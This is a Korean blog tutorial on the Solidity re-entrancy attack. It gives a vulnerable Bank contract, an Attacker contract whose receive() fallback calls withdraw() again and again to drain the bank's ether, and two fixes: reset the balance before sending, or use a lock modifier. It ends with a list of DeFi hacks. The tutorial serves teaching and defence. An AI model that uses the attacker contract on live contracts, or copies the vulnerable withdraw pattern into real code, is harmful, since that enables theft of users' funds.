[Solidity] Re-entrancy

임형석·2023년 10월 3일
0

Solidity


Re-entrancy

재진입 공격은 컨트랙트의 함수가 실행되는 도중에 다시한번 함수를 호출하는 공격중 하나이다.

어떻게 공격하는지에 대해 알아보면, 아래의 그림과 같다.

Bank A 컨트랙트에 예치된 이더가 있다. 본인 소유의 이더만을 출금할 수 있다.

  1. Attacker B 컨트랙트는 A 컨트랙트를 인스턴스화 하여 withdraw() 함수를 호출한다.

  2. 출금이 되면서, fallback 함수인 receive() 가 호출된다.

  3. 함수의 실행이 완전히 종료되지 않은 상태에서 다시 receive() 함수 내부의 withdraw() 함수가 실행된다.

  4. 위의 2,3 이 무한반복되고, A 컨트랙트에 남은 이더가 없으면 실행이 완전히 종료된다. B 는 A 컨트랙트의 모든 이더를 탈취한다.

컨트랙트 코드는 아래와 같다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint currentBalance = balances[msg.sender]; 
        (bool result,) = msg.sender.call{value:currentBalance}("");
        require(result, "failed to withdraw.");
        balances[msg.sender] = 0;     
    }
    
    function chekcBalance() external view returns(uint) {
        return address(this).balance;
    }
}

contract Attacker {
    Bank public bank;
    address public owner;

    constructor(address _bank, address _owner) {
        bank = Bank(_bank);
        owner = _owner;
    }

    receive() payable external {
        if(address(msg.sender).balance>0) {
            bank.withdraw();
        }
    }

    function sendEther() external payable {
        bank.deposit{value:msg.value}();
    }

    function withdrawEther() external {
        bank.withdraw();
    }

    function checkBalance() external view returns(uint) {
        return address(this).balance;
    }
}

withdraw 함수에는 현재 balance 를 모두 출금한 후, balances 상태변수를 변경하고 있다.

이렇게 코드를 작성한다면, 두번째 줄의 코드가 실행 => fallback 함수 실행 => 두번째 줄의 코드가 실행 => ... 무한반복되며 balances 상태변수가 0으로 바뀌지 않아 모든 이더를 탈취당한다.


해결방법

첫 번째는 상태변수를 이용하는 방법이다.

상태변수가 바뀌기 전 출금이 진행되기에 재진입 공격이 유효하다.

    function withdraw() external {
        uint currentBalance = balances[msg.sender]; 
        (bool result,) = msg.sender.call{value:currentBalance}("");
        require(result, "failed to withdraw.");
        balances[msg.sender] = 0;     
    }

하지만, 출금 전 balances 상태변수를 변경하도록 수정한다면 쉽게 막을 수 있다.

function withdraw() external {
    uint currentBalance = balances[msg.sender]; 

    // 출금을 실행하는 코드보다 먼저 상태변수를 변경시켜 재진입을 막는다.
    balances[msg.sender] = 0;

    (bool result,) = msg.sender.call{value:currentBalance}("");
    require(result, "failed to withdraw.");
}

두 번째는 modifier 를 이용하는 방법이다.

함수가 두번이상 호출되어 실행될 수 없도록 막아준다.

    // modifier 설정으로 재진입을 막는다.
    bool public check_reentry;
    
    modifier check_reenterancy() {
        require(!check_reentry,"stop!");
        check_reentry = true;
        _;
        check_reentry = false;
    }

이렇게 modifier 를 설정하고 함수에 적용시켜둔다면 check_reentry 부분을 통과하지 못하고 공격은 실패하게 된다.


재진입 공격 피해사례

  • Uniswap/Lendf.Me hacks (April 2020) – $25 mln, attacked by a hacker using a reentrancy.
  • The BurgerSwap hack (May 2021) – $7.2 million because of a fake token contract and a reentrancy exploit.
  • The SURGEBNB hack (August 2021) – $4 million seems to be a reentrancy-based price manipulation attack.
  • CREAM FINANCE hack (August 2021) – $18.8 million, reentrancy vulnerability allowed the exploiter for the second borrow.
  • Siren protocol hack (September 2021) – $3.5 million, AMM pools were exploited through reentrancy attack.

주로 서비스 중인 디파이 앱에 대한 공격이 많다.

현재 DEX 사용량 1위인 유니스왑도 공격을 당한 바 있고,
그 외에도 풀, 대출 플랫폼들이 공격을 당해 많은 피해가 있다.

중요한 것은 상태변수, fallback ..
두개와 관련된 코드만 잘 생각하고 작성해도 피해를 막을 수 있을 것 같다.

0개의 댓글